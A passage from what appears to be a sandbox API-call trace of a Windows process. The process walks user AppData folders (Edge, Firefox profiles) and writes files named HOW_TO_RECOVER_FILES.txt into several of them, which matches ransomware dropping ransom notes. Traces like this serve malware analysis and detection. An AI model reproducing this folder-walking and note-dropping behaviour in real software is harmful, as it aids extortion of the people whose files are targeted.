ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.529] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0208.529] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 0 [0208.529] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0208.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0208.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0208.529] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User", lpFilePart=0x0) returned 0x30 [0208.529] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.530] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6771884, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd6771884, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.530] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0208.530] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0208.530] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0208.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0208.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0208.530] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", lpFilePart=0x0) returned 0x38 [0208.530] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.531] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.531] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.531] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0208.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0208.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed180) returned 1 [0208.531] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", nBufferLength=0x105, lpBuffer=0x1fbecc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default", lpFilePart=0x0) returned 0x38 [0208.531] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default\\*", lpFindFileData=0x1fbecea0 | out: lpFindFileData=0x1fbecea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.532] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.532] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbece60 | out: lpFindFileData=0x1fbece60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd678d991, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd678d991, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd678d991, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.532] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed0c0) returned 1 [0208.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed080) returned 1 [0208.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0208.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbed0f0) returned 1 [0208.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\Default\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\user\\default\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0208.533] GetFileType (hFile=0x858) returned 0x1 [0208.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbed060) returned 1 [0208.533] GetFileType (hFile=0x858) returned 0x1 [0208.534] WriteFile (in: hFile=0x858, lpBuffer=0x351b008*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbed1b8, lpOverlapped=0x0 | out: lpBuffer=0x351b008*, lpNumberOfBytesWritten=0x1fbed1b8*=0x5d0, lpOverlapped=0x0) returned 1 [0208.535] CloseHandle (hObject=0x858) returned 1 [0208.535] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbed600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0208.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedb20) returned 1 [0208.535] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\User\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\user\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0208.536] GetFileType (hFile=0x858) returned 0x1 [0208.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeda90) returned 1 [0208.536] GetFileType (hFile=0x858) returned 0x1 [0208.536] WriteFile (in: hFile=0x858, lpBuffer=0x351e880*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbedbe8, lpOverlapped=0x0 | out: lpBuffer=0x351e880*, lpNumberOfBytesWritten=0x1fbedbe8*=0x5d0, lpOverlapped=0x0) returned 1 [0208.537] CloseHandle (hObject=0x858) returned 1 [0208.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbee030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0208.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee550) returned 1 [0208.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\MicrosoftEdge\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoftedge\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0208.540] GetFileType (hFile=0x820) returned 0x1 [0208.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4c0) returned 1 [0208.540] GetFileType (hFile=0x820) returned 0x1 [0208.541] WriteFile (in: hFile=0x820, lpBuffer=0x35220e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbee618, lpOverlapped=0x0 | out: lpBuffer=0x35220e8*, lpNumberOfBytesWritten=0x1fbee618*=0x5d0, lpOverlapped=0x0) returned 1 [0208.541] CloseHandle (hObject=0x820) returned 1 [0208.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0208.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", lpFilePart=0x0) returned 0x25 [0208.542] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.543] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.543] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0208.543] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1 [0208.543] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 0 [0208.543] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0208.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0208.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0208.543] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla", lpFilePart=0x0) returned 0x25 [0208.543] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.544] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.544] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0208.544] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="updates", cAlternateFileName="")) returned 1 [0208.544] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0208.544] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0208.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0208.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0208.544] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x2d [0208.545] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.545] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.545] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdd9723cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="postSigningData", cAlternateFileName="POSTSI~1")) returned 1 [0208.545] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0208.545] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0208.545] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedaf0) returned 1 [0208.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbedab0) returned 1 [0208.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbedbb0) returned 1 [0208.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", nBufferLength=0x105, lpBuffer=0x1fbed650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox", lpFilePart=0x0) returned 0x2d [0208.546] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x1fbed8d0 | out: lpFindFileData=0x1fbed8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.546] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.546] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdd9723cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="postSigningData", cAlternateFileName="POSTSI~1")) returned 1 [0208.546] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: lpFindFileData=0x1fbed890*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0208.546] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbed890 | out: 